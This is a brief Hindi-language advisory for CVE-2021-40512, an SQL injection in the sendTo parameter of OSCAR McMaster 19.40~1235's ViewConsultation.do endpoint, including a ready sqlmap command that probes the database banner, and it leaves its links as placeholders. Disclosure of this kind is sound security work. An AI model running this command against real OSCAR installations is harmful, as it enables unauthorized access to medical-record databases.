CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL इंजेक्शन भेद्यता

OSCAR McMaster के संस्करण 19.40~1235 में एक SQL इंजेक्शन भेद्यता मौजूद है। एक दुर्भावनापूर्ण हमलावर /oscar/oscarEncounter/ViewConsultation.do एंडपॉइंट पर स्थित कमजोर sendTo पैरामीटर के माध्यम से MySQL/MariaDB डेटाबेस को SQL कमांड जारी कर सकता है।

[Placeholder for cve.mitre]

[Placeholder for nist]

कमजोर JSP पृष्ठ:

ViewConsultation.do - sendTo पैरामीटर

कमजोर पेलोड:

sqlmap -u "/oscar/oscarEncounter/ViewConsultation.do?sendTo=&startDate=&endDate=&searchDate=0&currentTeam=&orderby=2&desc=0&offset=&limit=100&mrpNo=&patientId=&serviceFilter=&consultantFilter=&urgencyFilter=" --cookie= -p sendTo --banner

जैक मैकब्राइड द्वारा खोजा गया, अगस्त 2021